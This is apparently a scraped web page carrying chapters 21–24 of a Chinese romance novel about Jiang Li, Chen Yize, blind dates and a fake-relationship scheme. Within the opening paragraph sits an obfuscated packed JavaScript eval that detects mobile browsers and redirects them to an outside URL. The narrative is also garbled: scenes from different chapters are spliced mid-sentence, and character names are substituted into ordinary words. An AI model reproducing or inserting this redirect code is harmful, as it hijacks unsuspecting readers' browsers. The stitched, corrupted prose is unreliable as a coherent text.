质感钢亮的金属闹钟再次响起,晨风带着清新的凉气吹向床榻。 姜厘疲惫地伸出一只胳膊,带着倦意关上了吵闹的晨起铃。 她腾手半支着身体坐起,视线还混沌着就望见床下书桌的电脑上,昨晚的模型已经跑好。 浑身都痛。 缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002807|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉缺得太厉害,要不是昨天冲动报了驾照科一机考,她今天死都不会爬起来。 昨晚准备咖啡的孙妈似乎早就知道姜厘今早疲乏,早早熬了碗热滚滚的乌鸡山药汤。 一碗热汤下肚,姜厘的情绪总算好了许多,她笑嘻嘻地承诺晚上回来帮孙妈一起做饭,而后回到房间给徐轻川发完文件,洗漱完毕,拎包赶去考场。 这是姜厘第一次单独用陈家的司机,刘司机没过多搭话,只细心地嘱咐她系好安全带。 昨晚其实刷驾照的时间并不多,熬到三点才腾出功夫看了一个小时,虽然模考成绩都将将踩了及格线,但依照姜厘平时的备考要求,完全称不上达标。 她在这方面有些强迫症,简单的通过型考试反而处理不好,别人那里及格线万岁的情况到她这里就觉得抓狂。 窗外车景飞逝,一直到下车登记完到候考厅,她的注意力都没从手机模考中走出。 十点场的时间将近,姜厘总算压着尾声拿了一次满分,她将将抬头揉了揉太阳穴,刚要例行公事去微信骚扰一下陈屹泽,侧边忽地传来惊呼声。 “姜厘!” 视线瞬间转到身侧,姜厘有些茫然地看向邻座男生。 对方对她的反应好像意料之中,男生明朗地笑了下,举止自然:“竞赛的,江鸿炎。” “你不记得我了吗,那会我还要过你微信来着。” “……”姜厘顿时有些尴尬,好在打了几声哈哈,监考官就让他们进场安检了。 切换到考试模式,姜厘瞬间把偶遇同学的事件抛到脑后,有了刚才的临时抱佛脚,她应对得很自如,十几分钟就走出了考场。 江鸿炎早早地在门口等她,男生身高优越,下垂的狗狗眼看着阳光又清新。 “姜厘,这里!” 姜厘顿了下,还是轻巧走了过去,许是刚考完心情好的缘故,她朝人微微笑了下,首先打开话题:“没想到在这遇到你。” “上次朋友圈看见你带了B市的位置,我知道你在这,但没想到这么巧,果然上大学前都考驾照去了。”江鸿炎很健谈,忽然拍了下脑袋,“啊,柏然前几天也说准备考来着,她家就在附近,不然我们去找她一起吃个饭?” 早上下车前刘司机问过她需不需要他接返程,说如果要的话,他就重新预约儿子的诊病,下午再去忙自己的事。 姜厘听到他家有人生病,眼睛瞪得大大的,直呼不用了,让他先去给小孩看病。 但这地……似乎比较难叫车。 地铁要转很久。 姜厘犹豫了下,索性答应了他:“柏然家就在附近吗?” “蛮近的,我记得。”江鸿炎笑了下,随手拿起手机拨电话,“附近有家烤肉,我每次来都吃。” 两人有一搭没一搭并肩走出考试地,江鸿炎的电话刚打出去,门口迈凯伦车侧燃了半支烟的男生忽地把烟掐了。 陈屹泽身高腿长,腰细肩宽,竖在门口一道活生生的视线诱捕器,只可惜姜厘人穷志短,只顾得去搜那家烤肉的团购,一直到他身前五十米处才被人叫住。 “姜厘。”陈屹泽语气清淡。 “嗯?”她下意识回头。 “刘叔有事,不能来接你。” 他身上烟味早就散了大半,挽着的袖口露出伤口痂痕。 “哦哦,我知道的。”熬穿的脑袋反应些许迟钝,姜厘一时没反应过来。 侧边专注通话的江鸿炎意识到什么,刻意结束了话题,边朝她靠近边笑意阑珊:“不是去吃烤肉吗?姜厘。” 手机屏幕上焦香鲜美的烤肉页面十分诱人。 陈屹泽看清后,视线转到她脸上停顿两秒,扭头就走:“你去吧。” 姜厘一激灵:“我不去!” 20-30 第 21 章 第 21 章 “我——” “姜厘?” 好巧不巧,江鸿炎像是有那个曹操技能,说到就到了,楼梯间其实很少有人经过,但此刻推门出现在这的人确实是他,并且…… 陈屹泽掀目,视线在突然闯入男生脸上未作停留,直直地瞄准了他怀里熟悉的电脑包。 三秒后,他倏地嘲讽一笑,随手还把姜厘往前撮合地推了推,居高临下地看着两人,“去啊。” 音调能听出几分嘲意,姜厘琢磨了下他的意思,转眸静悄悄瞄了眼车门大开的后座。 车内空调散发的热气时不时往外冒出一股,在极寒的冬日甚至形成了具有实体的袅袅白雾。 理智告诉姜厘,那是恶魔的潘多拉魔盒。 她不会坐上去的,打死都不。 好在陈屹泽也只是随口一说,没多久姜厘就听见他手机铃声响起,而后是简短的回话。 什么“刚下飞机”“接到了”“厘上回去”之类的,应该是陈妈妈打来的。 陈屹泽对妈妈一向很温柔,他家庭氛围很好,以致于之前见识过他坏脾气的姜厘都怀疑这人是不是基因突变过。 “厘厘。” 思绪打断,背后有人轻轻拍她肩。 蜗牛三人组终于到了,姜厘蹙眉回头拉住赵多漫,像是抓住了生命中唯一的救命稻草,“快走” 她压低声音,发出明显暗示。 又冷又尴尬,实在不是人过的日子。 赵多漫深情地回望过去,两秒后反攀住姜厘小臂,继而女生像是没听懂暗示般疯狂拖她后腿,语调轻盈鼓动。 “齐群说他们一会找个包厢给陈屹泽接风,我们也去吧?” “?”遥遥听见操场上新生大会校长的激昂讲话,虽然音效被廉价麦克风打了折扣,但她依然能从中捕捉到“犯错从严”“一律记过”之类的无情字眼。 门卫大叔举着登记本一言不发,冰冷无情地像座雕像。 姜厘眉心直跳,回头看了眼气定神闲还在等自己煎饼的小少爷,默默在本子上签下“陈南泽”三个字。 两分钟后,本子边上撂着一袋被咬了两口的煎饼果子,而后内页不甘示弱地多了两个字—— 姜早。 烈日渐渐释放出盛夏该有的威力,姜厘和陈屹泽两人开学迟到,此时正并排站在教学楼下感受着来往众人的注目礼。 手指有些浸汗,女生微咬牙,被晒得生无可恋:“你说我们都没填自己名,他为什么还是能逮到我们?” 李女士和张先生最近肯定没时间管她的破事,她还不知道普通高中的秉性如何,但经过广泛的影视剧和小说阅读经验,姜厘分析出这事有百分之五十的可能会叫家长。 百分之五十, 也就是说有一半的几率她会死在这学校。 “开学讲话班级会点名。” 点完就剩俩, 抓不到才怪。 陈屹泽耷拉下眼皮,整个人恹恹的。 少年身型高挺利落,稍微站得松散点,身上那股不羁的势头就全冒了出来。有女生躲在走廊偷偷瞄过来,同时盯上他的还有几个男生,从校服能看出来是高二的,和他们新生的颜色不一样。 中二病时期男生都喜欢挑战外表看上去很bking的人,以此来巩固自己在学校中的“地位”。 才站了十分钟,姜厘已经第三次听见有人说要找陈屹泽碰碰这件事了。 她没想到陈屹泽在新环境中会如此“欠揍”。 再一转头忽然又能理解了。 少爷现在这种“老子心情不好都他妈滚”的眼神配着微上翘的冷峭眼尾,真的很挑衅。 谁看谁想揍。 姜厘甚至想在他身上挂个有偿人肉沙袋的小黑板,旁边再附上她的收款码。 斜对面有个黑皮男生,根据裤脚和袜子的位置能初步判断为体育生,他盯着看了很久,刚要上来说点什么,浑厚聒噪的上课铃声就响了起来。 人群像羊群一样四散而去,没过多久耳边就只剩下一楼某班的英文朗读声,姜厘半悬的心将将落了下去。 她确定陈屹泽能感受到身边的敌意,但他那副风轻云淡的样子又实在像是没有察觉。 在这生源大多直升的学校中,他们这种人出现本身来说就会打破一些微妙的平衡。 不想承认也要承认,学校中确实有些潜移默化的社会规则,尽管大部分学生都两耳不闻窗外事,但那些太惹眼的、一眼就能被人注意到的人,总会主动或被迫地卷入一些纠纷中。 但陈屹泽应该能搞定,他不动手指,单纯去电话亭给家里打个电话,点到为止地就能解决这件事。 他这种背景不论在哪都比普通人能玩得转得太多。 甩甩沾上薄汗的额发,姜厘已经站得腿酸,有了共同受罚这一经历,她在陈屹泽面前也更能放开了些。 四下环视,确定该死的教导主任没有来,女生才鬼鬼祟祟半蹲下去敲敲腿侧,“欸陈屹泽,我问你一个问题呗。” “嗯。” 她仰头望上去,“你为什么要跟我一块来普通高中啊?” “爱学。” “?” “听说普通高中课密,还能住宿每天24小时呆在学校——” 乌眸垂低掠过姜厘惊悚的表情,陈屹泽轻轻扯了下唇,嗓音照旧轻慢, “就很喜欢。” 变态, 姜厘飞速收回视线,重新端正好自己混吃等死的学习态度,生怕被陈屹泽不正常的思维影响到分毫。 “你们是12班的吗?” 一位戴黑色框架眼镜的女生像是接了什么指令,猛地从楼梯口小跑过来。 陈屹泽抬眸冲她点了下头,随后女生视线不自然地在他们两人脸上各自停留了几秒,又腾出时间喘气, “洪主任开会去了,跟我说你们可以回班了。” “终于想起我们了” 姜厘疲倦地拍拍裤子,站起身的时候小腿肌肉却倏地酸了一刻。 身后就是跌宕的台阶,她几乎是本能地快速抓住身侧的什么东西,稳住身形后才长吁一口气。 “差点栽了靠。” 危险消散后,攀附的手指才渐渐松开。 姜厘转眸看过来,现在才发现她刚才慌乱中抓着的,是陈屹泽的小臂。 少年小臂隐隐有肌肉的弧度,青色脉络隐在冷色皮肤下,上面被忽然抓上的薄薄指痕正飞速消散着。 “不好意思…”她其实昨厘想过自我介绍这一项流姜的,也计划按照初中小学的一贯话术“厘来天欲雪,能饮一杯无”“因为出生时即将下雪,所以她取字为厘”应付过去。 但猛地被这么多人看着,一时没反应过来 姜厘后知后觉,干巴巴补了句。 “不用。” 陈屹泽嗓音并无异常,只在擦肩而过的一刻,姜厘恍惚间看见, 他的耳朵,有点红。 她飞快望了眼头顶, 暗啐九月的太阳还是好他妈的晒。 会所有应侍帮忙泊车,几位少爷小姐下车走了约莫有六七分钟,最终选了个暗木调的老钱风包厢钻了进去。 几位都是上京圈子有头有脸的后辈,陈屹泽家算是涉猎行业最广的,金融外贸,地产内销,世家人脉也属他积累最深。 岩咎家世代学医,齐群则是书香世家唯一的劣根,赵多漫家开厂,服装品牌成立了三四个,而姜厘 她爸妈离婚前也能说道说道,但离婚后公司拆分,渐渐也就不太能打了。 说赚钱也赚点,但始终不如之前,幸好有早年积累的几套固定资产带来收入,也能维持住优渥的生活。 一般来说圈子成员聚在一起都爱谈点生意,但在座唯一有能力的陈屹泽摆酷不讲话,其余几位倒是想谈肚子里暂时还没装进去货。 一到这种时间,为了不冷场,大家就开始绞尽脑汁去想八卦了。 说到底,四年也就正规聚了这么一次,还是能捞出很多陈年旧事乱侃的。 姜厘听他们从老师离婚说到同学出轨,跟着在边上笑了有二十分钟,她刚要摸出手机看眼时间,脑袋却忽然有些犯晕。 她眨巴了下眼,盯着杯子里的暗红色液体开始回忆自己叫的这杯到底有没有酒精。 “我靠厘厘,你脸血红!” 背景音有些燥,姜厘拍了两下发烫的脸蛋,借着酒精宣布开始重回中学时代的叛逆, 叛逆前她得先去拿凉水冲把脸。 “我跟你一块去吧。”赵多漫看着她这样有点担心。 “不用,两步路。” 姜厘无所谓地摆摆手,起身走了出去。 暗木桌面倒了几瓶没开封的罐装饮用水,绮丽灯光烘托出氛围的同时也照得人眼花缭乱。 齐群瞄见姜厘有些虚浮的步子,刚要回头叫自己兄弟去帮个忙,就看见软沙最边缘的男生垂眸已经扔下烟盒,起身跟了过去。 陈屹泽:【你现在的当务之急是找个熨斗把舌头熨直。】 姜厘本来想大胆发言说让他给自己打啵啵直,但怕他讽刺她回怼说让江鸿炎来,弯眸转了转,还是换了个话题。 窗边竹影绰绰,室内装潢辉煌高调,姜厘收回视线,惯例拿寄人篱下的人设卖惨: 【哥哥,这座房子好大好漂亮,我住进来感觉像做梦一样,有时候还挺害怕的。】 还没来得及发送之后装可怜的话术,姜厘注视屏幕的眼睛微眯,难以置信自己看到了什么。 陈屹泽:【外面有个狗窝。】 姜厘:…… 老子弄死你。 第 22 章 第 22 章 饶是拥有十几年的冲浪功力,外加几年峡谷对喷的绝佳经验,姜厘扪心自问,也很难在短时间内打出如此恶心人的回复。 她噎了噎,还是将手指缓缓从键盘上挪开,最后使出全身力气,用中指划出了和陈屹泽的聊天页面。 窗外夜风习习,姜厘灌了口水还是没消解下心中的怨气,她起身,满脸脏话地在原地转了好久,还是没忍住又掏出了手机。 什么叫做被爱的都是大爷,她辛辛苦苦这么久,陈屹泽居然翻脸比翻书还快! 他以为她愿意捧他的臭脚吗!她又没有真的看上他! 千尊万贵的大少爷一定是被人捧习惯了,殊不知终年牛马的舔狗也会咬人。 姜厘被怒气冲昏头脑,指尖飞速在键盘跳跃,一转殷勤的态度,开始咬人。 姜厘的物欲不弱,她不喜欢看上哪件东西却得不到的感觉,加上从小就是养尊处优下来的,就算穿衣吃住上能降下规格,也不喜欢掰着手指算钱花。 格子间的电脑屏幕有些反光,姜厘敲击键盘的力道比以往重许多,侧边的长指仙人掌被震得时不时颤一下。 赵多漫抱着沓文件夹路过,看见姜厘后猛地抬头,见鬼似的,“今天不是准你一天假吗?” 跨年帮她接待摄像老师,昨天还牺牲睡眠又跑了趟机场,赵多漫计划给她留一天时间补觉来着,没想到上进的员工居然自告奋勇地又回到公司加班来了。 有工如此,上市何求。 “我决定努力赚钱,当一个富一代。”“甜死他们”这四个字被放缓了语速,一字一顿说出口。 不知为何,虽然姜厘现在是在笑着,但赵多漫还是觉得气氛比刚才更阴恻了,她观察了一会好友的情绪,有些踌躇不前,半晌才走过去把手机屏幕竖给对方。 “我这还有一些,先转你应急?” 这种精神状态不稳定的状况下不适合做决定,容易事后后悔。 “不必了。” 姜厘轻飘飘看过一眼,继续搜刮着剩余物资往身上塞,过了三秒她重新低头解锁手机,“我现在就去闲鱼上找个龙套。” “!” 被人拿捏的滋味实在太难受了,姜厘恨恨地啃了口干巴巴的面包。 “受什么刺激了?”赵多漫嗅到八卦的味道,推着转椅凑近后又一惊,“我靠你脸色怎么像打了一厘上丧尸,这么灰。” “一会得去约会。”“我也没有恶习。” 姜厘沉默了会才接上他的话。 “您好,咖啡需要放糖吗?” 气氛被凭空打破,应侍生抬着托盘,弯腰面带笑容地询问二人。 姜厘:“不需要谢谢。” 裕迟风淡笑:“一颗,麻烦开下发票。” 呼啸的屹风匆忙刮过,趁着应侍生往咖啡杯中加糖的空隙,姜厘抬头放了会空,她突然觉得她的相亲流姜和刚才刮过的风差不多,一样急,没有重点。 父母从小的教育,培养的兴趣爱好,爱看的电影,喜欢的口味,童年经历都没有被问及,对方只是看了她一眼,然后凭借外在就将她顺利分门别类。 可谈和无后续。 她属于可谈的那方。 但他们分明还只是陌生人。 相亲都这样么,婚前灵魂可以不交流,但婚后身.体得交流。 李女士那边不看她恋爱结婚是绝对不会善罢甘休的,姜厘隐约能看见一个岌岌可危的未来,是属于她的。 这仗有点难打,她得重新调整一下战略。 应侍生已经离开,姜厘目光回转到光洁的马克杯口。她有一搭没一搭地听着裕迟风讲他在凶险的资本市场中大浪淘沙的“英雄事迹”,脑回路却时不时跑偏到十万八千里,试图再去找寻一条生路。 十分钟后,对面男人的手机铃声响起。 裕迟风点开看了一眼屏幕上的联系人信息,刚准备忽略,就听见不远处的一声唤。 “裕迟风。” 声音很御。 姜厘回头看到一位踩着亮色高跟鞋,穿着轻奢小香风的年轻女人,她缓缓走来的路途中,视线还故意和她碰撞多次。 相互打量。 不是吧。 姜厘默默把桌面滚热的咖啡杯握紧,生怕遇上什么渣男谎称单身出来相亲,正室怒泼小三咖啡的狗血戏码。 下意识地,她回头看了眼陈屹泽。 男生半撑脸好整以暇,耳朵高高竖起,静等八卦。 好一个隔岸观火。 姜厘隐隐萌生出趁着御姐没来,赶紧踢凳子逃到隔壁桌的想法。 “裕迟风。” 陌生女人又唤一声。 裕迟风终于坐立不安起来,男人表情苦楚,对上姜厘的视线有些难以启齿,“不好意思姜小姐,其实我今天安排了两个相亲,这个约的是十一点十分,但她好像提前到了。” 姜厘心想不被泼咖啡就行,她自顾自挎包站起身来。 “那就再见,裕先生。” “再见。” 如释重负。 离开后的空气都是新鲜的,侧过摆放整齐的桌椅迈下台阶,姜厘回忆起刚才的二十多分钟顿觉人生漫长。 她脚步迈出去两秒,刚准备打车离开,忽然想起另一件重要的事。 被当猴看了半天,她很不爽。 已经下定决心不靠陈屹泽,去走和其他男人相亲这条路,姜厘胆子膨胀到之前的十倍,她再无顾忌,踩着温暖的棕色雪地靴当即掉头。 掠过布满绿植藤曼装点的外展区,姜厘站定,颇有几分气势地屈着手指轻叩在他桌面。 笃笃两声。 “点评一下?” 她居高临下道。 陈屹泽耷拉着眼皮,起身随手把杯盏下压的名片扫进垃圾桶: “一般。” “听睡着了。” 姜厘视线不转,唇角却已经快耷拉到了太平洋。 “不是,你别再工作了我害怕。”赵多漫觉得有点瘆人,接着紧握住姜厘的手不松开,“你谈恋爱了?这么快。” “你觉得可能吗?”姜厘沉沉侧眸,“我答应了我妈去跟人相亲。” 炸裂。 铮铮铁骨拿去做铁板烧了吗?你竟然真的屈服了。 犹记得她们大学快毕业时出去潇洒,点了一桌的洋酒啤酒混着助兴,姜厘没喝多少,但基本也醉得差不多。 灯光忽明忽暗,不知道是谁说了一句“老子打死不生”,而后“不结婚”“不谈恋爱”“姐妹相约养老院抖恰恰”的誓言就如雨后春笋般,一个个竖了起来。 姜厘万年单身,是发誓的主力军。 虽然口嗨者数不清,但当时大家都觉得姜厘条件好,家境殷实,看着也对谈恋爱没半点兴趣,她实现这些誓言的可能性最大。 没想到刚毕业半年主力军就要走上相亲的不归路。赵多漫不知道该怎么安慰,挠挠头旁敲侧击道,“那你喜欢那个相亲对象吗?” 疑惑许久没回应,赵多漫再抬起头就对上一张白花花的手机屏幕。 对方通过了你的好友请求,现在已经可以聊天了。 奋斗人生:你好李阿姨介绍的吗?方便留个备注吗?/捂嘴笑 绝望主妇钓凯子:姜厘 绝望主妇钓凯子:你呢? 奋斗人生:裕迟风。 绝望主妇钓凯子:好的 五分钟后, 奋斗人生:在吗?看到了你朋友圈的照片,有几张我还挺喜欢的/捂嘴笑/捂嘴笑 十分钟后, 奋斗人生:照片.jpg 奋斗人生:这张照片腿好长哦,偷去当壁纸喽/捂嘴笑 绝望主妇钓凯子:? 十七分钟后, 奋斗人生:早安 奋斗人生:你的早安,是我耳朵最喜欢的早餐。 二十三分钟后, 奋斗人生:你的早安,是我耳朵最喜欢的早餐。 “咳咳咳”赵多漫忍笑差点憋出内伤,“不是,他多少岁啊?我爸都不这么聊天。” “我妈说比我大三岁,” 坚强伪装下线,姜厘肩膀彻底塌下来,骨头软成一团,“漫漫,你说他会不会只是线上聊天奇怪啊” 姜厘开始不愿面对。 她不奢望找一个多满意的应付差事,毕竟不是真的要谈,只要作出几分恋爱的样子应付差事就好了,但这种风格的聊天她真的应付都难忍。 “只能说有这种可能性。”赵多漫考虑了一下姜厘的心理承受能力,没把话说死。 圈子里除去爱玩沾染不良嗜好的,剩下的其实也没多少,直男直成这样的,说不定恰恰是个单纯不经世事的人。 就像一块干净的画板,有缘人可任意涂绘成自己喜欢的样子,捏脸会吗? 来日可他妈的期! “好,那我去了。” 姜厘pua完自己,深吸一口气,猛地拎包站起身。 “??” “你去哪?” “相亲。” 奋斗人生先生中午十一点有个会,跟她约了十点半的咖啡厅见面。 就算到陈屹泽面前,她也不会加这个破社团的,她要告到中央! 姜厘恶狠狠地锤了徐轻川一拳,随后看向陈屹泽,表情求助:“哥哥你看他!我不想加他非逼我。” 侧边徐轻川森森白牙裸露在外,仍旧要挟她,“必须加入!不加入我会一直监视你的,直到永远。” 陈屹泽手臂微曲,好整以暇地支肘回想了会儿,语气拖腔道:“你之前说的什么来着……哦对,想到了。” 他又对上姜厘气急败坏的目光,“做男人应该知足,睁一只眼闭一只眼对我们都好。” 第 23 章 第 23 章 让你这时候闭眼了吗,老闭登! 姜厘闻言差点昏过去,眼瞅着这个社团是逃不掉,她眼里光都消失了。 徐轻川还在添油加醋,假装get了姜厘的想法,硬塞给她笔,恭维道:“我知道了,妹妹一定是嫌机器人单社太简单了,算法社报名表呢,快让我姐们签名!” 姜厘木然:“有杀手社吗,我要把你们全杀了。” “没有呢妹妹,”徐轻川欠欠儿的,还在跟陈屹泽唱着双簧戏,一个说要先测个小试,一个推脱说不用了,自家妹妹,友情照顾下。 其实姜厘的水平他们早已有目共睹,现在无非是在走过场。 两人你来我往,话里话外的都像是在庆祝白捡了个好力工。 这难道不算语言暴力吗!姜厘悲痛仰天。 按照之前徐轻川的懒散样,估计加社团后又会推一堆任务到她头上来。 手中的笔热得烫手,姜厘垂目迟迟签不下去名,鼓起勇气,眼神更加祈求地看向陈屹泽: “哥哥,你不是讨厌我吗?讨厌我就不要收我了,我周末会去搞研发的。” 陈屹泽心情似乎很好,学着她的语气咬文嚼字:“姜厘,你不是喜欢我吗?” 他话说得慢腾腾,声线明明醇净,但姜厘却从中听出一股老谋深算的阴暗气息。 她能说不喜欢吗?不行。 “确实很喜欢,” 姜厘咬唇应下,笑得比哭都难看,“……但距离产生美,我怕哥哥一直看着我会审美疲劳。” “没关系,我努力克服。”陈屹泽长臂一捞,抬出来学校发放的医疗箱,“这还有止吐药呢。” “你别冲动,阿姨需要的是你找男朋友吗?她是想要你找个优质的,能当潜在结婚对象的男人。” “她想我找优质男我就能找到吗?我他妈去找个小混混!”姜厘失控摔桌,“把之前酒吧钓你的那个黄毛联系方式推我!” “你真是饿了。” 楼下突然传来车辆鸣笛的刺耳声音,一下一下响得规律,像把小锤持续在敲太阳穴。 姜厘泄了气,揉揉额头,抱着整怀的零食重新盘腿坐回沙发,“实在不行我就把奋斗人生大哥从黑名单放出来,你说我拿多少钱贿赂,能说服他陪我演戏?” “他要是真看上你呢?” “从——” 口嗨中止。 这次她从不了了。 女生攒眉,撑着巴掌大的小脸,咬开一包薯片生无可恋地往嘴里塞,“实在不行…” “我把我妈挂闲鱼上卖了吧。” “你可真敢想。” 赵多漫恹恹地侧身倚上沙发,转眸间忽然瞧见电视柜上散成一堆的照片沓,她遥遥望了眼,茅塞顿开,“厘厘厘厘!” “嗯?” “陈屹泽!”赵多漫差点原地跳起来。 “哪呢,”姜厘伸着脖子环视一陈,“什么时候来的?” “我说的照片!你可以去找陈屹泽啊!你去租他,贿赂他,阿姨肯定满意。” 人帅事少,熟门熟路,怎么着也算朋友,不可能见死不救。 陈屹泽 薯片袋子发出吱呀响声,姜厘迟钝地擦擦手指,眼神有些放空。 要论相亲人选,她妈最满意的就是他了。如果找他,李女士那边肯定满意但她的安危谁管?刚才午餐那会要不是她机智,没准就得被尖酸刻薄地针对半天,况且她肯定雇不起大少爷。 陈屹泽一向怕麻烦,又不缺钱,甚至看她不顺眼。 三重buff叠起来,就算她能拉下面子去求他,他也未必会同意,到时候丢了面子又没办成事,之后每次见他都抬不起头,还不亏死。 “不行。”姜厘冷静自持地吐出两个字。 “为什么!”赵多漫激动到甚至想上去给她姐妹一拳,“这么好的选择你都不心动?” “我怕他嘲笑我。” “面子能吃吗!何况你俩现在关系也没那么僵硬了吧?你马上去给他发条消息试探一下口风。”赵多满眼看姜厘不动,气到想抢她手机自己行动。 “哎,我自己来。” 姜厘躲过她探来的手,缩头缩脑地打开两人聊天框,最底端的语音条不小心被误触到,她上午怒骂发誓在地上爬都不坐他车的即兴发言将将开了个头,又被正主慌忙点停。 空气中铺天盖地都是她当时能吓死鬼的硕大怨念,赵多漫捂住额头,一脸迷惑,“你每天都在搞什么” “就以前这种聊天环境,我发一个在吗帅哥不是纯属脑子有病吗?” 姜厘打起了退堂鼓。 “你还想不想要钱了!” 赵多漫跳起,大手一挥,“厘厘睁开眼,看看你的豪华地段,全无智能美式装修大平层!” 姜厘咬牙,低眸视线重新落回屏幕。 “还有你三个柜子的漂亮衣服和包包!”赵多漫义愤填膺,一个滑铲溜到衣帽间门前,手指柜门。 姜厘呜呜呜了几声,艰难点开聊天框。 “甚至你大学时候满世界淘来的珍藏版游戏机都被缩在柜里不见天日!” 姜厘:[在吗帅哥/可怜凝视] 点击,发送。收到这条消息时,姜厘刚打车到家。 她吐出口辛辣的酒气,揉了两下太阳穴,眉心皱出川字。 去会所的路上,她曾经严厉批判了赵多漫,还拿姐妹情感和工作态度两方面双重威胁她,她要是再误解她的“暗恋对象”或者再跟着一起起哄,她就罢工。 言语高深,内容具体,她甚至快上升到人生攻击了,赵多漫才腾手向她保证,她之后绝对不会再开她和陈屹泽之前的玩笑。 结果刚保证完就发生这事。 没人比她更霉。 早知道在照片掉出来的那刻,她就该反应快点,一脚踩住它。 姜厘满脸心累,她从衣帽间找出几件干净的换洗衣物走进浴室,把身上那股酒气冲洗干净了才重新拿起手机回复信息。 [照片是乌龙。] [我暗恋个]—— 她字还没打完,页面上方显示的“对方正在输入中”就跳没了。 赵多漫:[最后信你三秒。] 之前的据理力争还是有作用的,姜厘舒了口气,又把打好的字慢吞吞删了。 赵多漫那边好解释,陈屹泽那边她要是不能拿出有力证据就算她拿出有力证据,他没准也会以为她是想法设法找的借口。 桌边浅色日历上的被红圈圈住的今日日期很是醒目,姜厘挪开视线,胡乱搓了搓脸,睁着混沌的双眸强撑着爬到电脑前。 事已至此,先工作吧。 改策划都比找陈屹泽解释轻松。 冒着热气的马克杯安静地呆在桌沿,闷头敲了五个字后,笃地一声,姜厘认命地合上笔记本电脑。 心乱到没办法集中注意力。 她点开微信,找到陈屹泽的聊天页面,眼睛盯着他上面的跨年群发祝福好一会才回过神来。 莹白指尖打字迅速,姜厘随后飞快键入消息: [今天的事情不是你想的那样。] 先抛个话,看对方态度再决定这天怎么聊。 一般情况下姜厘只有面对工作伙伴的时候才会这么谨慎地走一步看一步,但陈屹泽确实难猜,看看他怎么回再说。 马克杯徐徐上升的雾气变淡又消散,像一缕烟灭在半空中。 姜厘边等回复边改策划,隔了大概半小时,微信才跳出一条不冷不热的消息。 陈屹泽:[噢。] 噢?? 姜厘眼眸微眯,甚至开始怀疑自己的眼睛。 噢就噢! 空气静止三秒。 “他不理我,”姜厘手指停在撤回键上蠢蠢欲动,“要不我?” “你以为他是侦察兵啊,天天架把狙埋伏在你微信聊天框,看见消息马上屁滚尿流地回?” 赵多漫恨铁不成钢,咬牙切齿地下令,“给我等!” “还有,等待的期间或许也可以搞一些其他能讨好他的行为,增加事情的成功率”女生心思缜密地摸摸下巴。 “太卑微了吧。”姜厘蹙眉,脸上写满了排斥。 “我求赞助商的时候,在ktv给一个秃顶中年男连吹三瓶啤酒,你——” “别说了!我懂!” 姜厘一甩刚才的忸怩不安,她点进陈屹泽的个人页面,把“不看对方朋友圈选项”取消后,逐条去给少爷朋友圈点赞。 一共五条,条条红心。 做完这些后女生又咬咬唇,翻到跨年那天的零点祝福,长按发了条回复:[你也是!新年快乐!!!] “我服了你竟然现在才回他新年祝福。” 赵多漫彻底信了姜厘没有暗恋陈屹泽的话,谁家暗恋的这么拽啊。 军师坐在沙发扶手上,深深叹了口气。 本来没觉得不回消息有什么的,但被赵多漫这么单拎着点出来,姜厘也突然觉得之前貌似是有点过分。 她犹豫不决道,“是不是不该回啊,万一他之前已经把这事忘了,现在看见我的回复又想起来。” “别撤回,伸手不打笑脸人,陈——” 叮. 手机嗡嗡震动。 陈屹泽:[不在。] 姜厘无辜地望向好友,“他打了。” 我靠,call back。 她居然圆上了。 姜厘忍着言语中的雀跃,虚伪地吸了吸鼻子,杏眼上翘,偷偷瞄了眼陈屹泽的脸色,观摩后又斟酌地补了句。 “不然我这么喜欢哥哥,怎么会不想和哥哥呆在一个社团,争取更多的相处机会呢?” “完全是怕这个糟糕的属性暴露后,让哥哥知道,嫌弃我罢了。” 别问,问就是太爱了! 编得太假了。 陈屹泽无语地嗔白她一眼,还没吭声,风风火火的徐轻川突然怒气冲冲地跑过来锤她。 “姜小厘,刚才你在花坛拿机器人砸石头的时候,我叫你那么大声,你怎么不理我?!” 陈屹泽:“……” 第 24 章 第 24 章 徐轻川这个杀千刀的。 姜厘彻底安生了,她狠狠瞪了徐轻川一眼,熄了心里一直不甘的那把火,悄悄挪步到陈屹泽身边。 有气无力道:“哥哥,我自愿加入机器人社,并决定把四年青春全奉献给社团,肝脑涂地,死不足惜。” 陈屹泽早就知道她是乱嘴跑的火车,没太刁难她。 男生绕到她背后,冷不丁把人卫衣扣到头上,握拳轻砸了下她脑袋,语气漫不经心,“你就先做点其他的吧,类似于乐队演出时,外卖来了,贝斯手做的工作。” 看透不说透。 为了维护表面和平,姜厘噎了一会还是没跟他细致讨论他的皮肤顽疾。 眼看陈屹泽还是一副我的风度我守护的拽样,她脑筋活泛了点,决定不在一条路上走死,把线下秀恩爱改为线上撒狗粮。 俩人好友圈子重叠度很高,平时刷朋友圈总能看见其他小情侣在上面蒂花之秀,各种几陈年的文案眼花缭乱,有搞怪风有深情风还有直接甩收款记录的壕气风。 她平时不发朋友圈,陈屹泽倒是偶尔会发,但都是哪哪的风景照,没表现出太多个人风格。就像是两张白板随意涂画,两人不管发什么类型的好像都能hold住。 选择太多并不是件好事,姜厘陷入纠结,没忍住偏头又去观察身侧的男生。 他倒是没半分演戏的紧张感,松弛得甚至有些百无聊赖,陈屹泽察觉到她在看,黑瞳悠悠对上她的视线,唇角半牵不牵地,暴露了一贯的懒怠, 搭着冷冽远山眉还是显凶,有种爱他妈谁谁的莫名气场。 “请保持深情。”[睡不着了:)] 短短四个字,外加一个阴阳怪气的微笑。 摸不着头脑 姜厘垂眸盯着屏幕愣神,她还在抱着侥幸心理想是不是陈屹泽那边有什么突发状况所以没办法睡觉, 刚想了两秒,语音电话随之弹来。 四陈静悄悄,铃声响得格外突兀,衬得来人气势汹汹。 背脊紧了几分,姜厘壮着胆子摁下了挂断键,清了清嗓子,口吻公事公办:“我们只是伪装情侣,这个点打电话多少有点暧昧了,请你自重朋友。” 